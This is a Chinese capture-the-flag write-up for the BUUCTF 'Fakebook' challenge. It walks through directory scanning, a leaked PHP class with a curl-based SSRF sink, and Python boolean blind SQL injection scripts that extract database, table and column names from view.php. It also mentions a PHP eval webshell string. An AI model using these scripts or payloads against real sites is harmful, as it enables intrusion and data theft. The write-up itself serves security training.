是时候翻篇啦~

BUUCTF刷题区第二页:

[网鼎杯 2018]Fakebook

原始信息

Fakebook:虚构乐谱

index.php

<h1>the Fakebook</h1>
<div class='row'>
<div class='col-md-2'><a href='login.php' class='btn btn-success'>login</a></div>
<div class='col-md-2'><a href='join.php' class='btn btn-info'>join</a></div>
</div>
<p>Share your stories with friends, family and friends from all over the world on <code>Fakebook</code>.</p>

<table class="table">
<tr>
<th>#</th>
<th>username</th>
<th>age</th>
<th>blog</th>
</tr>
</table>

join.php

<form action="join.ok.php" method="post">
<div class="row">
<div class="col-md-1">
username
</div>
<div class="col-md-4">
<input type="text" name="username" maxlength="100" class="form-control">
</div>
</div>

<div class="row">
<div class="col-md-1">
passwd :
</div>
<div class="col-md-4">
<input type="password" name="passwd" class="form-control">
</div>
</div>

<div class="row">
<div class="col-md-1">
age :
</div>
<div class="col-md-4">
<input type="text" name="age" class="form-control">
</div>
</div>

<div class="row">
<div class="col-md-1">
blog :
</div>
<div class="col-md-4">
<input type="text" name="blog" class="form-control">
</div>
</div>
<div class="row">
<input type="submit" value="join" class="btn btn-info">
</div>
</form>

login.php

<h1>login page</h1>
<form action=login.ok.php method=post class=form-group>
<div class=row>
<div class=col-md-1>
username
</div>
<div class=col-md-4>
<input type=text name=username class=form-control>
</div>
</div>
<div class=row>
<div class=col-md-1>
passwd
</div>
<div class=col-md-4>
<input type=password name=passwd class=form-control>
</div>
</div>
<div class=row>
<input type=submit value=login class=btn btn-info>
</div>
</form>

解题

收集信息,找突破口

直接dirmap漏扫是存在很大弊端的,原因很明显,请求数据过多不就无法请求了?
这里需要配置下dirmap
主要是不能让它把测试地址测爆了……

# 编辑dirmap下的dirmap.conf
#自定义每个请求超时时间。默认配置3秒。
conf.request_timeout = 3
#随机延迟(0-x)秒发送请求。参数必须是整数。默认配置0秒,无延迟。
conf.request_delay = 2
#自定义单个目标,请求协程线程数。默认配置30线程
conf.request_limit = 10

虽然缓慢,但挖掘出一堆信息:

[200][text/html; charset=UTF-8][0b] http://848a66a8-7bd6-483e-bca4-a9c5dab34f90.node4.buuoj.cn:81/flag.php
[200][text/html; charset=UTF-8][1.31kb] http://3647d6c4-affe-4956-9577-e7d14dfea208.node4.buuoj.cn:81/login.php
[200][text/plain][37.00b] http://3647d6c4-affe-4956-9577-e7d14dfea208.node4.buuoj.cn:81/robots.txt
[200][text/html; charset=UTF-8][0b] http://3647d6c4-affe-4956-9577-e7d14dfea208.node4.buuoj.cn:81/user.php
[200][text/html; charset=UTF-8][1019.00b] http://3647d6c4-affe-4956-9577-e7d14dfea208.node4.buuoj.cn:81/view.php
[200][text/html; charset=UTF-8][1.31kb] http://3647d6c4-affe-4956-9577-e7d14dfea208.node4.buuoj.cn:81/login.php
[200][application/javascript][19.86kb] http://3647d6c4-affe-4956-9577-e7d14dfea208.node4.buuoj.cn:81/js/popper.min.js
[200][text/css][137.63kb] http://3647d6c4-affe-4956-9577-e7d14dfea208.node4.buuoj.cn:81/css/bootstrap.min.css
[200][text/html; charset=UTF-8][2.03kb] http://3647d6c4-affe-4956-9577-e7d14dfea208.node4.buuoj.cn:81/join.php
[200][application/javascript][49.84kb] http://3647d6c4-affe-4956-9577-e7d14dfea208.node4.buuoj.cn:81/js/bootstrap.min.js
100% (6035 of 6035) |############################################################| Elapsed Time: 0:11:49 Time: 0:11:49

就等于告诉你:
login.php robots.txt user.php view.php login.php join.php flag.php

尝试访问其中一个查看信息:

访问:http://3647d6c4-affe-4956-9577-e7d14dfea208.node4.buuoj.cn:81/robots.txt

User-agent: *
Disallow: /user.php.bak

user.php.bak,很显然是一个类似于源码的东西。打开如下:

<?php
class UserInfo
{
# 用户名,年龄,你的博客地址
public $name = "";
public $age = 0;
public $blog = "";

// 预定义的魔术方法,接受变量
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
# 这是一个用于发送 GET 请求并获取响应数据的 PHP 函数
# 生成cURL句柄
$ch = curl_init();

# 设置要访问的URL为传入的$url
curl_setopt($ch, CURLOPT_URL, $url);
# 将返回的结果作为字符串而不是直接输出到屏幕。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

# 请求指定的URL并且讲响应保存
$output = curl_exec($ch);
# 取出响应的状态码
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($httpCode == 404) {
return 404;
}
# 结束句柄
curl_close($ch);
# 返回扫描结果
return $output;
}

public function getBlogContents()
{
# 访问博客并且返回状态码
return $this->get($this->blog);
}

public function isValidBlog()
{
# 对博客内容近乎全部符号的过滤
$blog = $this->blog;
#过滤传入的博客地址是否为http的格式
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}

一个php类能做什么?

很显然,这是反序列化用的。但具体运用在哪里还犹未可知。

初步测试

随便注册个信息后,主页面的显示是这样子的:

<table class="table">
<tr>
<th>#</th>
<th>username</th>
<th>age</th>
<th>blog</th>
</tr>
<tr>
<td>1</td>
<td><a href='view.php?no=1'>admin1</a></td>
<td>21</td>
<td>
https://cn.bing.com/search?q=%3C%3F%3Deval%28%24_POST%5B1%5D%29%3F%3E&qs=n&form=QBRE&sp=-1&lq=0&pq=%3C%3F%3Deval%28%24_post%5B1%5D%29%3F%3E&sc=2-20&sk=&cvid=7482ABA7DD7A4EF8B63AE974123C279E&ghsh=0&ghacc=0&ghpl=
</td>
</tr>
</table>

view.php的no参数为1,说明可能存在SQL注入。

脚本突破,布尔盲注

突破口1
用户的登录注册
在注册时写入敏感信息,一旦注册成功就能实现通过页面直接拿shell

一番测试后这个方法失败了,而且是失败的很彻底。
测试结果:
第一是写入后门到用户名,根本无法直接拿shell。(表面插后门突破失败)
第二是尝试写后门到URL是根本不可能的,会被解析。(表面插后门突破失败)
第三,通过上面的类可以看到,age是会出现整数验证的。(表面插后门突破失败)
第四,admin用户都能直接注册了,注入点八成不在这里了。(表面插后门突破失败)

突破口2
view.php的SQL注入

正常显示
view.php=(1)=(1)
报错
view.php=(1)=(2)

# 第一时间:脚本布尔盲注

假设只能返回布尔值,那么:

# 既然能返回布尔值,那就不能浪费了
# 用户名注册个admin和admin2加进去,跳转到view.php页面进行访问:

// 浏览器插件hackbar测试
# 1.测当前表列数
?no=1 order by 4
=>
admin

?no=1 order by 5
=>
报错
// 很显然,4列是当前表的极限


# 2.爆库
# 测定当前数据库的长度
?no=(if((select%20length(database())=8),1,2))
=>
admin

# 测报错
?no=(select * from flag)
=>
[*] query error! (Table 'fakebook.flag' doesn't exist)
// 这难道是当前数据库库名?先抱着怀疑的心思使用脚本测试一下

脚本测试database:

def get_database(url):
flag = ''
strings = 'fabcdeghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_'
for num in range(8):
for i in strings:
payload = "(if((left(database(),{})='{}'),1,2))".format(len(flag)+1, flag+i)
urls = url + '?no=' + payload
res = requests.get(url=urls)
if 'admin2' not in res.text and 'admin' in res.text:
flag += i
print(flag)
else:
continue
print(flag)

测试结果如下:

fakEboOk
// 两者差别在于大小写,八成这个是错误的,上面那个小写才是对的。

库爆出来了,接下来试着爆表

def get_tables(url):
flag = ''
key = ''
strings = string.printable
for num in range(1, 500):
for i in strings:
payload = '?no=(SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()), {}, 1) = CHAR({}))'.format(num, ord(i))
urls = url + payload
res = requests.get(url=urls)
if 'admin2' not in res.text and 'admin' in res.text and 'Fatal error' not in res.text:
key = flag
flag += i
if key == flag:
exit()
print("table_name:" + flag)
break
else:
continue

这里我只给出函数,调用的事情应该是人人都会的吧?

下面是脚本返回的结果

table_name:u
table_name:us
table_name:use
table_name:user
table_name:users

下面试着爆列名,脚本改下之前的SQL语句就好了:

def get_tables(url):
flag = ''
key = ''
strings = string.printable
for num in range(1, 500):
# print()
for i in strings:
payload = '?no=(substr((select group_concat(column_name) from information_schema.columns where table_name=concat(char(117),char(115),char(101),char(114),char(115))),{},1)=char({}))'.format(num, ord(i))
urls = url + payload
res = requests.get(url=urls)
if 'admin2' not in res.text and 'admin' in res.text and 'Fatal error' not in res.text:
key = flag
flag += i
if key == flag:
exit()
print("head:" + flag)
break
else:
continue

回显:

head:no,username,passwd,data,user,current_connections,total_connections

读出的用户名密码和no都是我们知晓的,那data是个什么东西?

试着扫出来:

// 涉及的SQL是:select group_concat(data) from fakebook.users

O:8:"UserInfo":3:
{s:4:"name";s:5:"admin";s:3:"age";i:21;s:4:"blog";s:20:"http://www.baidu.com";},
O:8:"UserInfo":3:
{s:4:"name";s:6:"admin2";s:3:"age";i:23;s:4:"blog";s:21:"https://xiaodi8.com/";}

回显点重测

到这里就有三个解决问题的方向:

先补充一点:flag.php是能被扫描到的,但是当时碍于字典不全没扫出来。

  1. 插入数据:注册数据时把数据插入进去,得到flag文件
  2. 更新旧数据:更新注册完成的用户数据,把用户数据的内容换成新的内容,绕过正则表达式
  3. 虚拟数据:使用测试的回显点调用自己写的序列化内容来得到flag。

再补充一点:view.php是视图的意思,这个php下面还有一个非常特殊的区域:

<iframe width='100%' height='10em' src='data:text/html;base64,PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSxjaHJvbWU9MSI+PG1ldGEgY29udGVudD0iYWx3YXlzIiBuYW1lPSJyZWZlcnJlciI+PG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IuWFqOeQg+mihuWFiOeahOS4reaWh+aQnOe0ouW8leaTjuOAgeiHtOWKm+S6juiuqee9keawkeabtOS+v+aNt+WcsOiOt+WPluS/oeaBr++8jOaJvuWIsOaJgOaxguOAgueZvuW6pui2hei/h+WNg+S6v+eahOS4reaWh+e9kemhteaVsOaNruW6k++8jOWPr+S7peeerOmXtOaJvuWIsOebuOWFs+eahOaQnOe0oue7k+aenOOAgiI+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSIvL3d3dy5iYWlkdS5jb20vZmF2aWNvbi5pY28iIHR5cGU9ImltYWdlL3gtaWNvbiI+PGxpbmsgcmVsPSJzZWFyY2giIHR5cGU9ImFwcGxpY2F0aW9uL29wZW5zZWFyY2hkZXNjcmlwdGlvbit4bWwiIGhyZWY9Ii8vd3d3LmJhaWR1LmNvbS9jb250ZW50LXNlYXJjaC54bWwiIHRpdGxlPSLnmb7luqbmkJzntKIiPjx0aXRsZT7nmb7luqbkuIDkuIvvvIzkvaDlsLHnn6XpgZM8L3RpdGxlPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keXttYXJnaW46MDtwYWRkaW5nOjA7dGV4dC1hbGlnbjpjZW50ZXI7YmFja2dyb3VuZDojZmZmO2hlaWdodDoxMDAlfWh0bWx7b3ZlcmZsb3cteTphdXRvO2NvbG9yOiMwMDA7b3ZlcmZsb3c6LW1vei1zY3JvbGxiYXJzO2hlaWdodDoxMDAlfWJvZHksaW5wdXR7Zm9udC1zaXplOjEycHg7Zm9udC1mYW1pbHk6IlBpbmdGYW5nIFNDIixBcmlhbCwiTWljcm9zb2Z0IFlhSGVpIixzYW5zLXNlcmlmfWF7dGV4dC1kZWNvcmF0aW9uOm5vbmV9YTpob3Zlcnt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lfWltZ3tib3JkZXI6MDstbXMtaW50ZXJwb2xhdGlvbi1tb2RlOmJpY3ViaWN9aW5wdXR7Zm9udC1zaXplOjEwMCU7Ym9yZGVyOjB9Ym9keSxmb3Jte3Bvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6MH0jd3JhcHBlcntoZWlnaHQ6MTAwJX0jaGVhZF93cmFwcGVyLnMtcHMtaXNsaXRle3BhZGRpbmctYm90dG9tOjM3MHB4fSNoZWFkX3dyYXBwZXIucy1wcy1pc2xpdGUgLnNfZm9ybXtwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4OjF9I2hlYWRfd3JhcHBlci5zLXBzLWlzbGl0ZSAuZm17cG9zaXRpb246YWJzb2x1dGU7Ym90dG9tOjB9I2hlYWRfd3JhcHBlci5zLXBzLWlzbGl0ZSAucy1wLXRvcHtwb3NpdGlvbjphYnNvbHV0ZTtib3R0b206NDBweDt3aWR0aDoxMDAlO2hlaWdodDoxODFweH0jaGVhZF93cmFwcGVyLnMtcHMtaXNsaXRlICNzX2xnX2ltZ3twb3NpdGlvbjpzdGF0aWM7bWFyZ2luOjMzcHggYXV0byAwIGF1dG87bGVmdDo1MCV9I2Zvcm17ei1pbmRleDoxfS5zX2Zvcm1fd3JhcHBlcntoZWlnaHQ6MTAwJX0jbGh7bWFyZ2luOjE2cHggMCA1cHg7d29yZC1zcGFjaW5nOjNweH0uYy1mb250LW5vcm1hbHtmb250OjEzcHgvMjNweCBBcmlhbCxzYW5zLXNlcmlmfS5jLWNvbG9yLXR7Y29sb3I6IzIyMn0uYy1idG4sLmMtYnRuOnZpc2l0ZWR7Y29sb3I6IzMzMyFpbXBvcnRhbnR9LmMtYnRue2Rpc3BsYXk6aW5saW5lLWJsb2NrO292ZXJmbG93OmhpZGRlbjtmb250LWZhbWlseTppbmhlcml0O2ZvbnQtd2VpZ2h0OjQwMDt0ZXh0LWFsaWduOmNlbnRlcjt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7b3V0bGluZTowO2JvcmRlcjowO2hlaWdodDozMHB4O3dpZHRoOjgwcHg7bGluZS1oZWlnaHQ6MzBweDtmb250LXNpemU6MTNweDtib3JkZXItcmFkaXVzOjZweDtwYWRkaW5nOjA7YmFja2dyb3VuZC1jb2xvcjojZjVmNWY2O2N1cnNvcjpwb2ludGVyfS5jLWJ0bjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiMzMTVlZmI7Y29sb3I6I2ZmZiFpbXBvcnRhbnR9YS5jLWJ0bnt0ZXh0LWRlY29yYXRpb246bm9uZX0uYy1idG4tbWluaXtoZWlnaHQ6MjRweDt3aWR0aDo0OHB4O2xpbmUtaGVpZ2h0OjI0cHh9LmMtYnRuLXByaW1hcnksLmMtYnRuLXByaW1hcnk6dmlzaXRlZHtjb2xvcjojZmZmIWltcG9ydGFudH0uYy1idG4tcHJpbWFyeXtiYWNrZ3JvdW5kLWNvbG9yOiM0ZTZlZjJ9LmMtYnRuLXByaW1hcnk6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojMzE1ZWZifWE6YWN0aXZle2NvbG9yOiNmNjB9I3dyYXBwZXJ7cG9zaXRpb246cmVsYXRpdmU7bWluLWhlaWdodDoxMDAlfSNoZWFke3BhZGRpbmctYm90dG9tOjEwMHB4O3RleHQtYWxpZ246Y2VudGVyfSN3cmFwcGVye21pbi13aWR0aDoxMjUwcHg7aGVpZ2h0OjEwMCU7bWluLWhlaWdodDo2MDBweH0jaGVhZHtwb3NpdGlvbjpyZWxhdGl2ZTtwYWRkaW5nLWJvdHRvbTowO2hlaWdodDoxMDAlO21pbi1oZWlnaHQ6NjAwcHh9LnNfZm9ybV93cmFwcGVye2hlaWdodDoxMDAlfS5xdWlja2RlbGV0ZS13cmFwe3Bvc2l0aW9uOnJlbGF0aXZlfS50b29sc3twb3NpdGlvbjphYnNvbHV0ZTtyaWdodDotNzVweH0ucy1pc2luZGV4LXdyYXB7cG9zaXRpb246cmVsYXRpdmV9I2hlYWRfd3JhcHBlci5oZWFkX3dyYXBwZXJ7d2lkdGg6YXV0b30jaGVhZF93cmFwcGVye3Bvc2l0aW9uOnJlbGF0aXZlO2hlaWdodDo0MCU7bWluLWhlaWdodDozMTRweDttYXgtaGVpZ2h0OjUxMHB4O3dpZHRoOjEwMDBweDttYXJnaW46MCBhdXRvfSNoZWFkX3dyYXBwZXIgLnMtcC10b3B7aGVpZ2h0OjYwJTttaW4taGVpZ2h0OjE4NXB4O21heC1oZWlnaHQ6MzEwcHg7cG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDowO3RleHQtYWxpZ246Y2VudGVyfSNoZWFkX3dyYXBwZXIgaW5wdXR7b3V0bGluZTowOy13ZWJraXQtYXBwZWFyYW5jZTpub25lfSNoZWFkX3dyYXBwZXIgLnNfYnRuX3dyLCNoZWFkX3dyYXBwZXIgLnNfaXB0X3dye2Rpc3BsYXk6aW5saW5lLWJsb2NrO3pvb206MTtiYWNrZ3JvdW5kOjAgMDt2ZXJ0aWNhbC1hbGlnbjp0b3B9I2hlYWRfd3JhcHBlciAuc19pcHRfd3J7cG9zaXRpb246cmVsYXRpdmU7d2lkdGg6NTQ2cHh9I2hlYWRfd3JhcHBlciAuc19idG5fd3J7d2lkdGg6MTA4cHg7aGVpZ2h0OjQ0cHg7cG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDoyfSNoZWFkX3dyYXBwZXIgLnNfaXB0X3dyOmhvdmVyICNrd3tib3JkZXItY29sb3I6I2E3YWFiNX0jaGVhZF93cmFwcGVyICNrd3t3aWR0aDo1MTJweDtoZWlnaHQ6MTZweDtwYWRkaW5nOjEycHggMTZweDtmb250LXNpemU6MTZweDttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7b3V0bGluZTowO2JveC1zaGFkb3c6bm9uZTtib3JkZXItcmFkaXVzOjEwcHggMCAwIDEwcHg7Ym9yZGVyOjJweCBzb2xpZCAjYzRjN2NlO2JhY2tncm91bmQ6I2ZmZjtjb2xvcjojMjIyO292ZXJmbG93OmhpZGRlbjtib3gtc2l6aW5nOmNvbnRlbnQtYm94fSNoZWFkX3dyYXBwZXIgI2t3OmZvY3Vze2JvcmRlci1jb2xvcjojNGU2ZWYyIWltcG9ydGFudDtvcGFjaXR5OjF9I2hlYWRfd3JhcHBlciAuc19mb3Jte3dpZHRoOjY1NHB4O2hlaWdodDoxMDAlO21hcmdpbjowIGF1dG87dGV4dC1hbGlnbjpsZWZ0O3otaW5kZXg6MTAwfSNoZWFkX3dyYXBwZXIgLnNfYnRue2N1cnNvcjpwb2ludGVyO3dpZHRoOjEwOHB4O2hlaWdodDo0NHB4O2xpbmUtaGVpZ2h0OjQ1cHg7cGFkZGluZzowO2JhY2tncm91bmQ6MCAwO2JhY2tncm91bmQtY29sb3I6IzRlNmVmMjtib3JkZXItcmFkaXVzOjAgMTBweCAxMHB4IDA7Zm9udC1zaXplOjE3cHg7Y29sb3I6I2ZmZjtib3gtc2hhZG93Om5vbmU7Zm9udC13ZWlnaHQ6NDAwO2JvcmRlcjpub25lO291dGxpbmU6MH0jaGVhZF93cmFwcGVyIC5zX2J0bjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM0NjYyZDl9I2hlYWRfd3JhcHBlciAuc19idG46YWN0aXZle2JhY2tncm91bmQtY29sb3I6IzQ2NjJkOX0jaGVhZF93cmFwcGVyIC5xdWlja2RlbGV0ZS13cmFwe3Bvc2l0aW9uOnJlbGF0aXZlfSNzX3RvcF93cmFwe3Bvc2l0aW9uOmFic29sdXRlO3otaW5kZXg6OTk7bWluLXdpZHRoOjEwMDBweDt3aWR0aDoxMDAlfS5zLXRvcC1sZWZ0e3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6MDt0b3A6MDt6LWluZGV4OjEwMDtoZWlnaHQ6NjBweDtwYWRkaW5nLWxlZnQ6MjRweH0ucy10b3AtbGVmdCAubW5hdnttYXJnaW4tcmlnaHQ6MzFweDttYXJnaW4tdG9wOjE5cHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7cG9zaXRpb246cmVsYXRpdmV9LnMtdG9wLWxlZnQgLm1uYXY6aG92ZXIgLnMtYnJpLC5zLXRvcC1sZWZ0IGE6aG92ZXJ7Y29sb3I6IzMxNWVmYjt0ZXh0LWRlY29yYXRpb246bm9uZX0ucy10b3AtbGVmdCAucy10b3AtbW9yZS1idG57cGFkZGluZy1ib3R0b206MTlweH0ucy10b3AtbGVmdCAucy10b3AtbW9yZS1idG46aG92ZXIgLnMtdG9wLW1vcmV7ZGlzcGxheTpibG9ja30ucy10b3AtcmlnaHR7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MDt0b3A6MDt6LWluZGV4OjEwMDtoZWlnaHQ6NjBweDtwYWRkaW5nLXJpZ2h0OjI0cHh9LnMtdG9wLXJpZ2h0IC5zLXRvcC1yaWdodC10ZXh0e21hcmdpbi1sZWZ0OjMycHg7bWFyZ2luLXRvcDoxOXB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3Bvc2l0aW9uOnJlbGF0aXZlO3ZlcnRpY2FsLWFsaWduOnRvcDtjdXJzb3I6cG9pbnRlcn0ucy10b3AtcmlnaHQgLnMtdG9wLXJpZ2h0LXRleHQ6aG92ZXJ7Y29sb3I6IzMxNWVmYn0ucy10b3AtcmlnaHQgLnMtdG9wLWxvZ2luLWJ0bntkaXNwbGF5OmlubGluZS1ibG9jazttYXJnaW4tdG9wOjE4cHg7bWFyZ2luLWxlZnQ6MzJweDtmb250LXNpemU6MTNweH0ucy10b3AtcmlnaHQgYTpob3Zlcnt0ZXh0LWRlY29yYXRpb246bm9uZX0jYm90dG9tX2xheWVye3dpZHRoOjEwMCU7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDozMDI7Ym90dG9tOjA7bGVmdDowO2hlaWdodDozOXB4O3BhZGRpbmctdG9wOjFweDtvdmVyZmxvdzpoaWRkZW47em9vbToxO21hcmdpbjowO2xpbmUtaGVpZ2h0OjM5cHg7YmFja2dyb3VuZDojZmZmfSNib3R0b21fbGF5ZXIgLmxoe2Rpc3BsYXk6aW5saW5lO21hcmdpbi1yaWdodDoyMHB4fSNib3R0b21fbGF5ZXIgLmxoOmxhc3QtY2hpbGR7bWFyZ2luLWxlZnQ6LTJweDttYXJnaW4tcmlnaHQ6MH0jYm90dG9tX2xheWVyIC5saC5hY3Rpdml0eXtmb250LXdlaWdodDo3MDA7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZX0jYm90dG9tX2xheWVyIGF7Zm9udC1zaXplOjEycHg7dGV4dC1kZWNvcmF0aW9uOm5vbmV9I2JvdHRvbV9sYXllciAudGV4dC1jb2xvcntjb2xvcjojYmJifSNib3R0b21fbGF5ZXIgYTpob3Zlcntjb2xvcjojMjIyfSNib3R0b21fbGF5ZXIgLnMtYm90dG9tLWxheWVyLWNvbnRlbnR7dGV4dC1hbGlnbjpjZW50ZXJ9PC9zdHlsZT48L2hlYWQ+PGJvZHk+PGRpdiBpZD0id3JhcHBlciIgY2xhc3M9IndyYXBwZXJfbmV3Ij48ZGl2IGlkPSJoZWFkIj48ZGl2IGlkPSJzLXRvcC1sZWZ0IiBjbGFzcz0icy10b3AtbGVmdCBzLWlzaW5kZXgtd3JhcCI+PGEgaHJlZj0iLy9uZXdzLmJhaWR1LmNvbS8iIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0ibW5hdiBjLWZvbnQtbm9ybWFsIGMtY29sb3ItdCI+5paw6Ze7PC9hPjxhIGhyZWY9Ii8vd3d3LmhhbzEyMy5jb20vIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9Im1uYXYgYy1mb250LW5vcm1hbCBjLWNvbG9yLXQiPmhhbzEyMzwvYT48YSBocmVmPSIvL21hcC5iYWlkdS5jb20vIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9Im1uYXYgYy1mb250LW5vcm1hbCBjLWNvbG9yLXQiPuWcsOWbvjwvYT48YSBocmVmPSIvL2xpdmUuYmFpZHUuY29tLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJtbmF2IGMtZm9udC1ub3JtYWwgYy1jb2xvci10Ij7nm7Tmkq08L2E+PGEgaHJlZj0iLy9oYW9rYW4uYmFpZHUuY29tLz9zZnJvbT1iYWlkdS10b3AiIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0ibW5hdiBjLWZvbnQtbm9ybWFsIGMtY29sb3ItdCI+6KeG6aKRPC9hPjxhIGhyZWY9Ii8vdGllYmEuYmFpZHUuY29tLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJtbmF2IGMtZm9udC1ub3JtYWwgYy1jb2xvci10Ij7otLTlkKc8L2E+PGEgaHJlZj0iLy94dWVzaHUuYmFpZHUuY29tLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJtbmF2IGMtZm9udC1ub3JtYWwgYy1jb2xvci10Ij7lrabmnK88L2E+PGRpdiBjbGFzcz0ibW5hdiBzLXRvcC1tb3JlLWJ0biI+PGEgaHJlZj0iLy93d3cuYmFpZHUuY29tL21vcmUvIiBuYW1lPSJ0al9icmlpY29uIiBjbGFzcz0icy1icmkgYy1mb250LW5vcm1hbCBjLWNvbG9yLXQiIHRhcmdldD0iX2JsYW5rIj7mm7TlpJo8L2E+PC9kaXY+PC9kaXY+PGRpdiBpZD0idTEiIGNsYXNzPSJzLXRvcC1yaWdodCBzLWlzaW5kZXgtd3JhcCI+PGEgY2xhc3M9InMtdG9wLWxvZ2luLWJ0biBjLWJ0biBjLWJ0bi1wcmltYXJ5IGMtYnRuLW1pbmkgbGIiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTtvdmVyZmxvdzp2aXNpYmxlIiBuYW1lPSJ0al9sb2dpbiIgaHJlZj0iLy93d3cuYmFpZHUuY29tL2Jkb3J6L2xvZ2luLmdpZj9sb2dpbiZhbXA7dHBsPW1uJmFtcDt1PWh0dHAlM0ElMkYlMkZ3d3cuYmFpZHUuY29tJTJmJTNmYmRvcnpfY29tZSUzZDEiPueZu+W9lTwvYT48L2Rpdj48ZGl2IGlkPSJoZWFkX3dyYXBwZXIiIGNsYXNzPSJoZWFkX3dyYXBwZXIgcy1pc2luZGV4LXdyYXAgcy1wcy1pc2xpdGUiPjxkaXYgY2xhc3M9InNfZm9ybSI+PGRpdiBjbGFzcz0ic19mb3JtX3dyYXBwZXIiPjxkaXYgaWQ9ImxnIiBjbGFzcz0icy1wLXRvcCI+PGltZyBoaWRlZm9jdXM9InRydWUiIGlkPSJzX2xnX2ltZyIgY2xhc3M9ImluZGV4LWxvZ28tc3JjIiBzcmM9Ii8vd3d3LmJhaWR1LmNvbS9pbWcvZmxleGlibGUvbG9nby9wYy9pbmRleC5wbmciIHdpZHRoPSIyNzAiIGhlaWdodD0iMTI5IiB1c2VtYXA9IiNtcCI+PG1hcCBuYW1lPSJtcCI+PGFyZWEgc3R5bGU9Im91dGxpbmU6MCIgaGlkZWZvY3VzPSJ0cnVlIiBzaGFwZT0icmVjdCIgY29vcmRzPSIwLDAsMjcwLDEyOSIgaHJlZj0iLy93d3cuYmFpZHUuY29tL3M/d2Q9JUU3JTk5JUJFJUU1JUJBJUE2JUU3JTgzJUFEJUU2JTkwJTlDJmFtcDtzYT1pcmVfZGxfZ2hfbG9nb190ZXhpbmcmYW1wO3Jzdl9kbD1pZ2hfbG9nb19wY3MiIHRhcmdldD0iX2JsYW5rIiB0aXRsZT0i54K55Ye75LiA5LiL77yM5LqG6Kej5pu05aSaIj48L21hcD48L2Rpdj48YSBocmVmPSIvL3d3dy5iYWlkdS5jb20vIiBpZD0icmVzdWx0X2xvZ28iPjwvYT48Zm9ybSBpZD0iZm9ybSIgbmFtZT0iZiIgYWN0aW9uPSIvL3d3dy5iYWlkdS5jb20vcyIgY2xhc3M9ImZtIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJpZSIgdmFsdWU9InV0Zi04Ij4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZiIgdmFsdWU9IjgiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyc3ZfYnAiIHZhbHVlPSIxIj4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icnN2X2lkeCIgdmFsdWU9IjEiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjaCIgdmFsdWU9IiI+IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRuIiB2YWx1ZT0iYmFpZHUiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJiYXIiIHZhbHVlPSIiPiA8c3BhbiBjbGFzcz0ic19pcHRfd3IgcXVpY2tkZWxldGUtd3JhcCI+PGlucHV0IGlkPSJrdyIgbmFtZT0id2QiIGNsYXNzPSJzX2lwdCIgdmFsdWU9IiIgbWF4bGVuZ3RoPSIyNTUiIGF1dG9jb21wbGV0ZT0ib2ZmIj4gPC9zcGFuPjxzcGFuIGNsYXNzPSJzX2J0bl93ciI+PGlucHV0IHR5cGU9InN1Ym1pdCIgaWQ9InN1IiB2YWx1ZT0i55m+5bqm5LiA5LiLIiBjbGFzcz0iYmcgc19idG4iPiA8L3NwYW4+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icm4iIHZhbHVlPSIiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmZW5sZWkiIHZhbHVlPSIyNTYiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcSIgdmFsdWU9IiI+IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJzdl9wcSIgdmFsdWU9ImI5ZmYwOTNlMDAwMGU0MTkiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyc3ZfdCIgdmFsdWU9IjM2MzVGWWJkYkM4dGxXbXVkWm1ZYVVuYXVjTmU